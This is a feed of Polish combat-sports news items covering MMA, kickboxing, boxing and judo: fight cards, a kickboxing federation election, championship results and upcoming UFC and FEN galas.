Dotychczasowe gale LFN pokazały, że piękne kobiety potrafią walczyć na wysokim poziomie. – Nie chodzi o urodę. Staramy się dobierać zawodniczki pod względem poziomu sportowego. Dokładnie analizujemy ilość i jakość walk, sprawdzamy każdą fighterkę, żeby poziom naszych gal był jak najwyższy. Zawsze stawiamy na zacięte walki. Dobieramy zawodniczki pod względem umiejętności i staramy się, by w klatkoringu LFN spotykały się równe rywalki, bo wtedy walki są ciekawe i nieprzewidywalne – wyjaśnia Chmal.
Z myślą o kibicach
Organizacja Ladies Fight Night chce dostarczyć kibicom przepyszne danie. Co warto zaznaczyć, nie wystawia rachunku. Wejściówki na galę są darmowe! Wystarczy zarezerwować bilet i na żywo można śledzić zmagania czołowych zawodniczek MMA i K-1 w Polsce. – Mamy świadomość, że domowy budżet nie jest z gumy. Chcemy, aby nasze gale mogła oglądać jak największa liczba kibiców. To pasjonaci, którzy żyją walkami i stwarzamy im możliwość darmowych wejściówek na nasze wydarzenia. Dzięki temu możemy dotrzeć do dużej liczby widzów. Zasięg ostatniej gali przekroczył milion osób a na samym Facebooku oglądało nas live prawie 300 tysięcy. Środki pozyskujemy od sponsorów, co pozwala stworzyć kibicom możliwość oglądania gal za darmo. Zgodnie z powiedzeniem, wilk syty i owca cała – tłumaczy prezes LFN.
Karta walk gali LFN „Five Points”:
MMA 57 kg: Katarzyna Lubońska (4-2-0) vs Nubia Nascimento (2-2-1)
K-1 50 kg: Hanna Gujwan (2-1-0) vs Natalia Leciejewska (0-0-0)
K-1 56 kg: Małgorzata Dymus (4-3-0) vs Meryem Uslu (42-10-1)
MMA 52 kg: Sylwia Juśkiewicz (5-4-0) vs Liudmila Pylypchak (2-3-0)
K-1 78 kg: Paulina Bieć (1-0-0) vs Mary Anne Kieper (1-0-0)
MMA 61 kg: Katarzyna Sadura (2-2-0) vs Suvi Salmimies (6-3-1)
K1 63,5 kg: Kamila Bałanda (10-1-0) vs Marta Gusztab (1-1-0)
MMA 61 kg: Talita De Oliveira (4-1-0) vs Irena Racz (4-6-2)
K-1 56 kg: Judyta Rymarzak (2-1-0) vs Lucia Krajcovic (19-8-0)
MMA 57 kg: Katarzyna Biegajło (1-1-0) vs Valerie Domergue (1-2-0)
K-1 67 kg: Agnieszka Szmitowska (0-0-0) vs Angelika Szczepańska (0-0-0)
KM
Nowym sternikiem Polskiego Związku Kickboxingu został wybitny zawodnik Piotr Siegoczyński. 50-latek w wyścigu o fotel prezesa pokonał Gerarda Zdziarskiego i Krzysztofa Bulandę.
Piotra Siegoczyńskiego nie trzeba nikogo przedstawiać. Wspaniały zawodnik, wybitny trener, którego kickboxing pochłonął w całości. Teraz Siegoczyński będzie miał okazję sprawdzić się w nowej roli.
Walka o tron
Dla Piotra Siegoczyńskiego udział w wyborach na prezesa Polskiego Związku kickboxingu to nie pierwszyzna. 50-latek ubiegał się o stanowisko cztery lata temu, jednak przegrał z Andrzejem Palaczem. Tym razem dotychczasowy sternik PZKb postanowił nie kandydować i udzielił poparcia Siegoczyńskiemu, co jednoznacznie można odczytać jako akt namaszczenia na następcę. Z pewnością owo wsparcie okazało się niezwykle cenne, jednak 50-latek musiał stoczyć walkę z rywalami. Na placu boju stanęli dotychczasowy wiceprezes związku i doskonały zawodnik Gerard Zdziarski oraz działacz i trener Krzysztof Bulanda.
2 kwietnia odbył się Walny Sprawozdawczo-Wyborczy Zjazd Delegatów PZKb. W wyścigu o fotel prezesa liczyły się dwa nazwiska. Bulanda uzyskał cztery głosy. Siegoczyński i Zdziarski prezentowali swoje pomysły, aby przekonać do siebie jak największą część gremium. Warto zaznaczyć, że kampania zaczęła się znacznie wcześniej. Wizja Siegoczyńskiego trafiła do delegatów, którzy oddali na niego 81 głosów. Z kolei Zdziarskiego poparło 50 osób.
Kadencja Siegoczyńskiego będzie trwała cztery lata. Podczas niedzielnego zjazdu wybrano również zarząd związku, w skład którego weszli: Krzysztof Kaproń, Łukasz Wabnic, Zbigniew Prych, Agnieszka Turchan, Jerzy Bassa i Andrzej Palacz.
Spełniony zawodnik i trener
Człowiek sukcesu – takie słowa idealnie pasują do 50-letniego Siegoczyńskiego, który jest najlepszą reklamą polskiego kickboxingu. Przygodę ze sportami walki rozpoczął ponad 35 lat temu w SKK Politechnika Warszawska. Jego postępom z bliska przyglądał się… Andrzej Palacz. Na pierwszy znaczący sukces urodzonego w Milanówku Siegoczyńskiego nie trzeba było długo czekać. W 1985 roku jako pierwszy polski fighter sięgnął w Budapeszcie po mistrzostwo świata WAKO. Łącznie na swoim koncie zapisał trzy tytuły najlepszego zawodnika globu oraz siedem razy sięgnął po mistrzostwo Europy.
Z największą dumą Siegoczyński może chwalić się swoimi wychowankami, z którymi pracuje w klubie X Fight Piaseczno. Dorota Godzina, Joanna Różańska, Mariusz Niziołek, Łukasz Wichowski to czołówka polskiego kickboxingu. Siegoczyński pracował również z reprezentacją Polski, która pod jego wodzą zdobyła wiele medali najważniejszych imprez. Ostatnio 50-latek pełnił funkcję dyrektora sportowego organizacji DSF Kickboxing Challenge.
KM
Zapraszamy na transmisję telewizyjna na żywo z Judo Grand-Prix Tbilisi 2017.
[kod]
Spokojnie. Nie bawimy się w swatkę. Tak się stało, że w jakiś pokręty sposób losy Rondy Rousey i Davida Haye'a spotkały się w jednym punkcie. Amerykanka znalazła nowego trenera, co może oznaczać, że głosy o jej pożegnaniu z MMA były przedwczesne. Z kolei brytyjski bokser otrzymał ciekawą propozycję.
Jak mawiał Benjamin Franklin, „na tym świecie pewne są tylko śmierć i podatki”. Na tapecie znalazł się pojedynek zawodnika MMA Conora McGregora z bokserem Floydem Mayweatherem Jr. Kto wie, czy nie będzie to jedyna „mieszana” walka.
Nowe wyzwanie byłego mistrza
Czy David Haye ma najlepsze lata za sobą? Tony Bellew pokazał 36-latkowi miejsce w szeregu i wyrzucił go za liny. Co prawda były mistrz świata WBA długo nie boksował. Haye zrobił sobie dłuższą przerwę od sportu. Po wygranej walce z Dereckiem Chisorą (14 lipca 2012) zniknął na 3,5 roku. Wrócił, wygrał dwie walki i żył nadzieją, że stać go na mistrzowskie pojedynki. Bellew sprowadził go na ziemię.
O Haye'u jest ponownie głośno. Dziennik The Exprees podał informację na temat spotkania boksera z przedstawicielami Jimi'ego Manuwy. Panowie mieliby stoczyć walkę na gali, której głównym wydarzeniem będzie starcie McGregora z Mayweatherem. Manuwa rzucił wyzwanie bokserowi, który obecnie przechodzi rehabilitację po operacji ścięgna Achillesa. 37-letni zawodnik UFC ostatnio efektownie znokautował Coreya Andersona, czym udowodnił, że ma mocny cios. Zaimponował tym byłemu mistrzowi świata wagi ciężkiej, który nie uchyla się od kolejnego wyzwania w swojej karierze. – Wysłuchaliśmy przedstawicieli Manuwy jak i UFC i jest to coś czego w tym momencie szukamy. Nie da się ukryć, że długa droga do potwierdzenia tego, ale jest to walka, która połączy wielu fanów UFC i boksu i będzie elementem wielkiego wydarzenia – powiedział Haye.
Pojawił się trener, jest nadzieja?
W grudniu 2016 roku Ronda Rousey poniosła dotkliwą porażkę w starciu z Amandą Nunes. Kariera „Rowdy” znalazła się na zakręcie. – Potrzebuję wziąć trochę czasu wolnego, żeby to wszystko przemyśleć i zastanowić się nad przyszłością. Dziękuję wam za wiarę we mnie i zrozumienie – napisała była mistrzyni UFC w swoim oświadczeniu.
Pojawiło się wiele głosów, że Amerykanka pożegna się z UFC. Nawet szef organizacji Dan White przychylał się do tej wersji. Rousey nie zabrała głosu w sprawie. Dla jej fanów optymistycznym znakiem może być nawiązanie współprace z trenerem Danem Garnerem, który zajmuje się siłą, kondycją i suplementacją. – Chciałem dać dobry powitalny post do Rondy Rousey, która właśnie niedawno dołączyła do zespołu i jest przygotowana na kompleksowy proces programowania żywieniowego. Jestem podekscytowany, że mam ją na pokładzie i tym, co osiągniemy – napisał Garner na swoim Instagramie.
KM
Zapraszamy na transmisję telewizyjna na żywo z Judo Grand-Prix Tbilisi 2017.
[kod]
Zapraszamy na transmisję telewizyjna na żywo z Judo Grand-Prix Tbilisi 2017.
[kod]
20 kwietnia rozpocznie się wielkie święto judo. Przez cztery dni w Warszawie zawodnicy będą walczyć o medale mistrzostw Europy. Biało-czerwoni przygotowują się, żeby wypaść jak najlepiej na własnym terenie. Na początku kwietnia będą trenowali w węgierskiej miejscowości Tata.
Z jednej strony wyzwanie organizacyjne, z drugiej zaś sportowe. Mistrzostwa Europy w Warszawie to ogromna szansa dla polskiego judo. Dobry występ to szansa na powrót do chwały, a także popularyzację dyscypliny i rozgłos.
Szlifowanie formy
Naszym nie pozostało nic innego, jak dopiąć wszystko na ostatni guzik. Na FighTime.pl informowaliśmy, że mistrzostwa Europy w judo wracają do Polski po 17 latach. W 2000 roku w Gdańsku Polska wywalczyła jeden medal, a jego autorem był Robert Krawczyk (81kg), który zajął trzecie miejsce.
Wszyscy są głęboko przekonani, że zbliżająca się impreza to szansa, którą należy wykorzystać. Mamy mocne drużyny. W zeszłym roku panie sięgnęły po tytuł najlepszej drużyny Starego Kontynentu, a panowie wywalczyli brąz. W gazie jest młody Piotr Kuczera (90kg), który zaskakuje na każdym krok. W Kazaniu wyskoczył niczym Filip z konopi i sięgnął po brąz. Mistrzostwa Europy będą pożegnaniem z tatami dla naszej utytułowanej judoczki Katarzyny Kłys (70kg). Mamy solidne podstawy, które powinniśmy wykorzystać.
W dniach 2-7 kwietnia nasi kadrowicze będą trenowali na Węgrzech. Na miejsce pobytu wybrali miejscowość Tata. Nie wszystkim będzie jednak dane wystartować w Warszawie. Obowiązuje limit dziewięciu zawodniczek i zawodników. W ostatnim zgrupowaniu przed czempionatem weźmie udział 23 judoków. Będą to: Ewa Konieczny (48 kg), Karolina Pieńkowska (52 kg), Agata Perenc (52 kg), Anna Borowska (57 kg), Julia Kowalczyk (57 kg), Agata Ozdoba (63 kg), Karolina Tałach (63 kg), Katarzyna Kłys (70 kg), Sandra Lickun (70 kg), Beata Pacut (78 kg), Anna Załęczna (+78 kg), Michał Bartusik (66 kg), Aleksander Beta (66 kg), Wiktor Mrówczyński (73 kg), Mateusz Garbacz (73 kg), Damian Szwarnowiecki (81 kg), Jakub Kubieniec (81 kg), Piotr Kuczera (90 kg), Patryk Ciechomski (90 kg), Jakub Wójcik (100 kg), Mariusz Krueger (100 kg), Maciej Sarnacki (+100 kg), Kamil Grabowski (+100 kg).
Tam Tbilisi, tu Bemowo
Wielkimi krokami zbliża się kolejny weekend z judo. Tym razem zawodnicy o punkty będą rywalizować podczas Grand Prix Tbilisi. Na listach startowych widnieje ponad 250 nazwisk, ale brak wśród nich Polaków. W Gruzji pojawią się gwiazdy m.in. Erika Miranda (52kg), która jest wiceliderką światowych list czy trzecia na świecie Kathrin Unterwurzacher (63kg).
Warto wspomnieć, że judo jest pasją wielu dzieci. W dniach 1-2 kwietnia w hali OSiR na warszawskim Bemowie odbędą się zawodu Judo Legia Cup. Na tatami zaprezentują się zawodnicy z roczników 2003-2010. Przewiduje się, że w imprezie może wziąć udział nawet 700 dzieci.
Fot. PZJudo
KM
Artur Szpilka rozważa zawieszenie kariery – ta informacja zelektryzowała miłośników boksu. Ale 27-letni bokser dał nadzieję. Z emerytury może wrócić Tomasz Adamek. Coraz więcej spekuluje się na temat kolejnego starcia popularnego „Górala”. Na dokładkę Mariusz Wach, który będzie miał okazję poznać moc ciosu mistrza świata IBF.
Każdy z wyżej wymienionych pięściarzy miał okazję rywalizować o tytuł w wadze ciężkiej. Obok tych nazwisk nie można przejść obojętnie.
Zakręt Szpilki?
Wielka nadzieja polskiej wagi ciężkiej – tak określano Artura Szpilkę, który na początku kariery kładł na deski kolejnych rywali. Również na amerykańskich ringach pokazał, że ma potężny cios. W końcu jego zapał zatrzymał Bryant Jennings, który rozprawił się ze „Szpilą” w Madison Sqaure Garden w styczniu 2014 roku. Szpilka podniósł się w wielkim stylu i wygrał starcie o prymat w kraju. Pokonał Tomasza Adamka i udowodnił, że jest pięściarzem dojrzałym i ułożonym, który prezentuje mądrość w ringu. Wcześniej podkreślano wielkie możliwości Szpilki, ale zwracano uwagę na brak chłodnej głowy. W końcu bokser urodzony w Wieliczce ruszył na podbój USA. Wygrał trzy walki i dostał szansę rywalizacji o pas WBC z Deontayem Wilderem.
Szpilka dobrze prezentował się w ringu z czempionem. Nie przestraszył się Amerykanina, próbował go ukąsić, jednak potężny cios Wildera w końcu go dosięgnął. W dziewiątej rundzie Polak padł jak rażony piorunem. Działo się to w styczniu 2016 roku. Od tamtego czasu Szpilka nie pojawił się w ringu. Walczył o powrót do zdrowia, przeszedł operację ręki. Miał zaprezentować się w styczniu br. na gali w Birmingham w rywalizacji z Dominicem Breazealem. Do starcia jednak nie doszło. Polak nie krył swojego rozczarowania. W końcu Szpilka w programie „Puncher Extra Time” poinformował, że rozważa zawieszenie kariery. Bokser chce wrócić na ring, ale jego celem jest starcie z poważnym rywalem. Jeśli taki się nie pojawi, poczeka na Breazeale'a, jednak podkreślił, że nie zamierza czekać w nieskończoność.
Będzie potrzebny odpoczynek? Niekoniecznie! Szpilka niczym Hitchock buduje napięcie. Bokser poinformował, że w czerwcu bądź lipcu stoczy walkę, którą określił mianem dużej. Trzeba czekać, kiedy Szpilka wyprowadzić kolejny mocny cios.
Powrót
Ostatnią walkę Tomasz Adamek stoczył blisko rok temu. W kwietniu przegrał w Krakowie z Ericem Moliną. „Góral” powiedział „dość” i pozostawił kibicom piękne wspomnienia. Nie milkną jednak echa na temat ewentualnego powrotu na ring byłego mistrza WBC w kategorii półciężkiej. Tomasz Adamek wrócił na salę treningową na nowojorskim Brooklynie. Ponoć „Góral” miał otrzymać propozycję walki, jednak odrzucił ją. Trenuje pod okiem Harrey'a Keitta, ale konkretów brak. Czy Adamek ponownie pojawi się w ringu? Trzeba czekać.
Spotka się z mistrzem
W listopadzie 2012 roku Mariusz Wach spotkał się z Władimirem Kliczko i walczył o cztery pasy mistrzowskie w kategorii królewskiej. Polak przegrał, a po pojedynku wykryto w jego organizmie zakazane substancje, przez co został zawieszony. Po blisko dwóch latach wrócił na ring. „Viking” wygrał sześć walk, przegrał tylko jedną.
Teraz Wach spotka się z kolejnym mistrzem wagi ciężkiej, jednak nie dostąpi zaszczytu pojedynku o pas. Polak będzie sparingpartnerem Anthony'ego Joshuy. Mistrz świata IBF przygotowuje się do hitowego starcia z Władimirem Kliczko, które odbędzie się 29 kwietnia na stadionie Wembley.
KM
Pierwszym oficjalnie potwierdzonym zestawieniem majowej gali FEN 17 Baltic Storm w Gdynia Arena jest zapowiadająca się szlagierowo walka na zasadach MMA w kategorii ciężkiej, w której Michał Wlazło przed własną publicznością zmierzy się z Czechem Martinem Chudejem.
Potężnie umięśniony Martin Chudej (34 lata, 178 cm, 4-5, 4 KO) wywodzi się z kulturystyki, w której odnosił dotychczas największe sukcesy sportowe. Czech od wielu lat uprawia jednak także sporty walki, przede wszystkim boks, kickboxing i mieszane sztuki walki. Na swoim koncie ma 9 pojedynków w formule MMA, w których wygrywał czterokrotnie, za każdym razem nokautując przeciwników w pierwszych rundach. W swoim ostatnim występie, który był jednocześnie jego debiutem w klatkoringu Fight Exclusive Night, zmierzył się na październikowej gali FEN 14 Silesian Rage w Spodku z Akopem Szostakiem – czeski wojownik przed polską publicznością zaprezentował się znakomicie, po zaledwie minucie ciosami w parterze pokonując faworyzowanego Polaka.
Dla Michała Wlazło (33 lata, 195 cm, 4-3, 3 KO, 1 SUB) starcie z Martinem Chudejem będzie trzecim występem w organizacji Fight Exclusive Night. Dwie poprzednie walki stoczył na wakacyjnych galach FEN – w 2014 roku w Sopocie przegrał przez duszenie z Dawidem Morą, a w ubiegłym roku w Gdyni znokautował Marcina Gułasia. Reprezentant klubu Forfit Gdańsk, który w przeszłości był m.in. zawodowym mistrzem Europy w K-1 federacji UPKA i wielokrotnym mistrzem Polski w muay thai, ma w swoim dorobku 7 zawodowych walk MMA. Odniósł w nich 4 zwycięstwa, z których za najcenniejsze uznać należy pokonanie w drugiej rundzie walki wieczoru gali RXF 21 w Bukareszcie ważącego 160 kg rumuńskiego olbrzyma Alexandra Lungu. W międzyczasie Wlazło dwukrotnie uczestniczył też we Florencji w słynnym turnieju calcio storico, czyli średniowiecznego pierwowzoru piłki nożnej, stanowiącego połączenie walki wręcz z futbolem.
Oprócz starcia Michała Wlazło z Martinem Chudejem 12 maja podczas gali FEN 17 Baltic Storm w Gdynia Arena publiczność obejrzy jeszcze 9 innych walk MMA i K-1, w których wystąpią m.in. Kamil Łebkowski, Radosław Paczuski, Jarosław Daschke, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
W miniony weekend w Kartuzach odbyły się mistrzostwa Polski juniorów i seniorów w kick-light. Gospodarze mogą pochwalić się wywalczeniem czterech złotych medali.
Do zmagań o medale przystąpiło ponad 230 kickboxerów z 54 klubów. Najmocniej były obsadzone kategorie 69kg i 74kg, gdzie startowało odpowiednio 19 i 22 zawodników.
Medale rozdane
Trzy dni zaciętej rywalizacji i medale rozdane. W najliczniej obsadzonej kategorii 74kg triumfował Roger Garbaczewski, który swój marsz po złoto rozpoczął w 1/16 finału od pokonania Radosława Bińkowskiego. Następnie rozprawił się z Kacprem Koteckim i Patrykiem Jankowskim. W finale zawodnik TKKF Ognisko Siedleckie Siedlce trafił na Pawła Świeczkowskiego. Garbaczewski wygrał i powtórzył ubiegłoroczny sukces. Warto zaznaczyć, że wtedy triumfował w 69kg.
Cztery wygrane walki na swoim koncie zapisał Kamil Mateja (69kg). Zawodnik PCNP Rebelia Kartuzy w półfinale trafił na swojego klubowego kolegę Nikodema Bugusa. Mateja wygrał i stanął przed szansą na zdobycie złota, którą wykorzystał. W finale uporał się z Maciejem Wiączkiem. Rok temu Mateja wywalczył srebro.
Ponownie złoto zawisło na szyi Patryka Kuryłka (57kg). Fighter MKS Wicher Kobyłka wygrał dwie walki, a w finale uporał się z Marcinem Nasiadko. Można powiedzieć, że historia lubi się powtarzać. W ubiegłym roku Kuryłek również pokonał zawodnika z Piaseczna.
Miejscami zamienili się Łukasz Puczyński i Wojciech Wiśniewski. Zawodnik Gdańskiego Klubu Kick Boxingu Duet zrewanżował się za porażkę z 2016 roku. Ponownie po tytuł mistrza Polski sięgnął Mikołaj Krause (89kg) z Rebelii Kartuzy. Ze złotem rywalizację zakończył kolejny z zawodników gospodarzy, czyli Rafał Jaszczuk (94kg). Tym samym obronił tytuł wywalczony rok temu. Czwarte złoto dla gospodarzy zdobył Mateusz Szymczak (79kg).
Walka z cieniem
Do Kartuz zmotywowana przyjechała Joanna Różańska (60kg). Zawodniczka X Fight Piaseczno dobrze weszła w sezon. Wywalczyła Puchar Europy w Dublinie, a następnie mistrzostwo kraju w K-1. Liczyła, że w Kartuzach sięgnie po złoto i swój cel spełniła. Ale… Na listach startowych oprócz niej nie widniało nazwisko żadnej zawodniczki.
Rok temu Klara Kleczkowska wywalczyła srebro, w finale uległa Dorocie Godzinie. Teraz może cieszyć się i świętować wywalczenie złota. W finale Kleczkowska pokonała Paulinę Szewczuk, która rok temu była szósta.
Ponadto mistrzowskie tytuły zdobyły: Natalia Panas (+70kg), Monika Kędzierska (70kg), Kamila Bałanda (65kg) i Karolina Kubiak (50kg).
Fot. facebook PCNP Rebelia Kartuzy
KM
W Pucharze Europy juniorów w judo w Atenach wystartowały trzy Polki. Dwie z nich, Eliza Wróblewska (70kg) i Vanessa Machnicka (57kg), stanęły na podium. Najlepiej zaprezentowali się judocy z Turcji, którzy zdobyli 20 medali.
Ostatnie tygodnie to dobry okres dla naszego judo. Seniorzy, juniorzy i kadeci osiągają przyzwoite wyniki, co przekłada się na zdobycz medalową. W zeszłym tygodniu biało-czerwoni zdobyli trzy medale w zawodach African Open w Casablance. Z kolei nasi juniorzy przywieźli dwa brązowe krążki z Coimbry. Nasze panie potrzymały dobrą passę w Atenach.
Do złota nieco zabrakło
Tak niewiele zabrakło do pełni szczęścia. Eliza Wróblewska (70kg) pokonywała kolejne przeszkody na swojej drodze, wszystko układało się po jej myśli, jednak w finale 17-latka musiała uznać wyższość Michaeli Polleres. Judoczka z Austrii szybko rozprawiła się z Polką i wygrała przez ippon. Warto wspomnieć, że Wróblewska mocno weszła w grecki turniej. Dwie pierwsze walki wygrała przed czasem. Z kolei w półfinale bez większych problemów młoda Polka uporała się z Inbar Lanir. To pierwsze tegoroczne podium Wróblewskiej w międzynarodowych startach. W ubiegłym roku judoczka zajęła drugą lokatę w Bielsku-Białej, ale wtedy startowała wśród kadetów i w niższej kategorii wagowej (63kg).
Dobre wspomnienia z Aten miała Vanessa Machnicka (57kg), która w zawodach Pucharu Europy juniorów w 2015 roku wywalczyła brązowy medal. Po upływie blisko dwóch lat 18-latka ponownie zawitała do stolicy Grecji. Na początek szybko uporała się z reprezentantką gospodarzy Valentiną Gkogkuoą. Polka zapisała na swoim koncie waza ari, a po chwili dołożyła ippon. W drugiej walce odprawiła Ulyanę Minenkovą, ale w półfinale Polkę powstrzymała Turczynka Meltem Dindar. Machnickiej pozostała walka o trzecie miejsce. Beatrice Ranzato nie miała zbyt wiele do powiedzenie w starciu z 18-letnią Polką, która triumfowała przed czasem.
W Atenach starowała również Aleksandra Kaleta (52kg). 18-letnia judoczka nie będzie miło wspominała startu w greckim turnieju. Kaleta stoczyła dwie walki, które przegrała przed czasem. Młoda Polka została sklasyfikowana na siódmej pozycji.
Dominacja Turcji
Połowę (osiem) złotych medali zapisali na swoim koncie zawodnicy z Turcji. W jakimś stopniu starali się im dorównać Austriacy, ale rywalizację w swoich kategoriach wagowych wygrały tylko Asimina Theodorakis (57kg) i Michaela Polleres (70kg).
Co warto zauważyć, w przypadku Turcji ilość miała ogromne znaczenie. W Atenach wystartowało łącznie 47 judoków państwa położonego nad Bosforem. Wywalczyli 20 medali. Austria, druga w klasyfikacji medalowej, zdobyła dwa krążki, a trzecia Ukraina cztery.
W Atenach zaprezentowało się blisko 240 zawodników.
KM
Zapraszamy na transmisję telewizyjna z 9 Pucharu Judo w Grecji.
[kod]
Cristiane Justino to czołowa zawodniczka MMA na świecie. Zdominowała rywalizację w wadze piórkowej w organizacji Invicta, jednak postanowiła zrzec się tytułu. Brazylijka podejmuje kolejne wyzwanie. 31-latka mierzy w pas mistrzowski UFC, w której stoczyła już dwa zwycięskie pojedynki.
Przez lata trwała dyskusja na temat potencjalnego starcia Rondy Rousey z popularną „Cyborg”. Ostatecznie do walki nie doszło, a „Rowdy” straciła pas mistrzowski i jej kariera znalazła się na zakręcie. Z kolei Justino nadal jest na topie. Czy Brazylijka będzie rozdawała karty w UFC?
Po trzeci tytuł
Pochodząca z Kraju Kawy zawodniczka nie ma litości dla rywalek. Wygrała 17 z 18 pojedynków, w tym aż 15 przed czasem. „Cyborg” jest postrachem kolejnych rywalek, które mają podstawy, aby obawiać się spotkania z nią. Najpierw podbiła organizację Strikeforce, w której zadebiutowała w 2009 roku. Od raz rywalizowała o pas i zwycięsko wyszła ze starcia z Giną Carano. Po koniec pierwszej rundy mogła wznieść ręce w geście triumfu. „Cyborg” zasypała rywalkę ciosami, a ta nie była w stanie odpowiedzieć. Justino odpierała ataki kolejnych rywalek i cieszyła się z pasa do 2012 roku, kiedy to straciła tytuł w wyniku afery dopingowej. Fighterka z Kurytyby została zdyskwalifikowana na rok.
Odcierpiała swoje grzechy i wróciła do rywalizacji w 2013 roku w barwach Invicty. W lipcu pokonała Marloes Coenen i sięgnęła po tytuł w wadze piórkowej. Brazylijka urosła do miana gwiazdy kobiecego MMA, tak jak i Ronda Rousey. Panie prowadziły korespondencyjne pojedynki. 27 lutego 2015 roku Justino rozprawiła się z Faith Van Duin w 45 sekund, kolejnego dnia Amerykanka w zaledwie 14 sekund odprawiła Cat Zingano. Trwały przymiarki do starcia dwóch gwiazd, ale kwestią sporną była waga. Rousey rywalizowała w limicie kategorii koguciej, a „Cyborg” w piórkowej. Jednak obecnie zawodniczki znajdują się przeciwległych biegunach.
Justino zaznała smaku rywalizacji w UFC. 31-latka mierzy w tytuł mistrzowski kolejnej organizacji. Chce się skupić tylko i wyłącznie na nowym celu, więc zrzekła się pasa Invicta. Informację o swojej decyzji przekazała za pomocą nagrania. Brazylijka nie kryła wdzięczności organizacji Invicta i jej władzom.
Teraz de Randamie
Prawy sierp i Leslie Smith znalazła się na deskach – tak wyglądał debiut „Cyborg” w UFC w maju ubiegłego roku. W kolejnym starciu pokonała Linę Lansberg. UFC utworzyło w rywalizacji kobiecej kategorię piórkową, której pierwszą mistrzynią została Germaine de Randamie.
W lutym Holenderka jednogłośnie na punkty pokonała Holly Holm i mogła cieszyć się z wywalczenia tytułu. – 29 lipca UFC będzie w południowej Kalifornii i chciałabym zaprezentować się na swoim terenie. Germaine, mam nadzieję, że twoja dłoń jest zdrowa i podejmiesz wyzwanie – tak powiedziała Justino. Brazylijka nie ukrywa swoich aspiracji. Czy będzie mogła nadal nucić sobie pod nosem „nie zatrzyma nikt mnie?”
KM
To już pewne. 13 maja w American Airlines Arena w Dallas Krzysztof Jotko zmierzy się z Davidem Branchem. Polak ma znakomitą passę, wygrał pięć kolejnych walk.
O tym, że polski zawodnik wagi średniej zmierzy się z 35-letni Amerykaninem mówiło się na początku marca. Organizacja UFC oficjalnie potwierdziła starcie.
Kroczy zwycięską drogą
Krzysztof Jotko niczym rozpędzony tygrys wygrywa kolejne pojedynki. Akcje Polaka w UFC stoją coraz wyżej. W najnowszym zestawieniu wagi średniej 27-latek został sklasyfikowany na 10. miejscu. Wyprzedza m.in. Uriaha Hala oraz Vitora Belforta.
13 maja polski zawodnik stoczy swoją ósmą walkę w UFC. Przygodę z amerykańską organizacją Jotko rozpoczął od wygranej z Bruno Santosem w grudniu 2013 roku. W kolejnym starciu Magnus Cedenblad założył Polakowi gilotynę i ten musiał odklepać. Była to jedyna porażka w dotychczasowej karierze 27-latka, dla którego dwa ostatnie lata to wspaniały czas. Jotko wygrał pięć walk z rzędu i już powoli mówi się o tym, że niebawem może stanąć do rywalizacji o pas mistrzowski. Z pewnością Michael Bisping zapoznaje się z charakterystyką Polaka. Jednak nie ma, co gdybać. Jotko musi podjąć kolejne wyzwanie, w którym musi potwierdzić fantastyczną formę.
W listopadzie fighter trenujący w American Top Team udowodnił swoją wartość i pokonał cenionego Thalesa Leitesa. Podczas gali UFC 211, która odbędzie się 13 maja w Dallas Polakowi przyjdzie zmierzyć się z Davidem Branchem. 35-letni Amerykanin wraca do UFC, w której ostatnią walkę stoczył ponad sześć lat temu. Przegrał wtedy z Rousimarem Palharesem. Ostatnio Branch występował na galach World Series of Fighting. Może pochwalić się wywalczeniem tytułów wagi średniej i półciężkiej. Doświadczony zawodnik ma imponującą serię dziesięciu zwycięstw z rzędu.
W oktagonie spotkają się więc fighterzy, którzy zdążyli już zapomnieć, co to znaczy przegrywać. Branch ostatnią porażkę zanotował pięć lat temu, Jotko poległ tylko raz w 2014 roku. Wygrana może przybliżyć Polaka do gwiazd. Dla Brancha występy w UFC to nagroda za dobrą postawę w WsoF.
Ciekawa karta
Coraz mniej niewiadomych w karcie walk UFC 211. Jotko nie będzie jedynym Polakiem, który zaprezentuje się w Dallas. Do piątej obrony pasa w wadze słomkowej stanie Joanna Jędrzejczyk. Jej rywalką będzie Jessica Andrade.
Na UFC 211 kolejny pojedynek stoczy były mistrz wagi lekkiej i pretendent do pasa w piórkowej Frankie Egdar, ktory zmierzy się z Yairem Rodriguezem. Pierwszą walkę po utracie tytułu stoczy Eddie Alvarez. Były czempion kategorii lekkiej spotka się z Dustinem Poirierem. W Dallas zaprezentują się również: Henry Cejduo, Demian Maia czy Fabricio Werdum.
W walce wieczoru pasa mistrzowskiego w wadze ciężkiej będzie bronił Stipe Miotic, który zmierzy się z Juniorem dos Santosem. Panowie rywalizowali w grudniu 2014 roku. Wtedy lepszy okazał się Brazylijczyk.
KM
Już 12 maja federacja Fight Exclusive Night powróci do Trójmiasta, by zorganizować kolejną zawodową galę MMA i K-1 – FEN 17 w Gdynia Arena! Bilety na to wyjątkowe wydarzenie w równie wyjątkowych cenach można już kupować w serwisach Eventim.pl i KupBilet.pl.
Gala FEN 17 w Gdynia Arena będzie świetną okazją do zobaczenia w akcji czołowych zawodników organizacji FEN, wśród nich wielu reprezentantów klubów z Pomorza. W klatkoringu pojawią się tego wieczora m.in. bohaterowie niedawnej gali FEN 16 Warsaw Reloaded – jedna z największych polskich gwiazd MMA Kamil „Bomba” Łebkowski, mistrz świata K-1 Global Radosław Paczuski i dwukrotny zdobywca kickbokserskiego Pucharu Świata WAKO Marcin Szreder. W walkach na zasadach MMA wystąpią też niepokonany od ponad 2 lat Michał „The Hammer” Oleksiejczuk, jeden z najgroźniejszych polskich fighterów wagi ciężkiej Michał Wlazło oraz znakomity weteran Ireneusz Szydłowski, który podczas poprzedniej gali w Gdyni był autorem najlepszego nokautu wieczoru. W karcie walk znalazło się także starcie K-1 z udziałem trzykrotnego srebrnego medalisty Pucharu Świata w kickboxingu Jarosława Daschke. Kolejnych uczestników FEN 17 poznamy już wkrótce – ich nazwiska będą systematycznie ogłaszane na oficjalnej stronie federacji FEN i na facebookowym fanpage’u FEN.
Bilety na galę FEN 17 w bardzo atrakcyjnych cenach można już kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
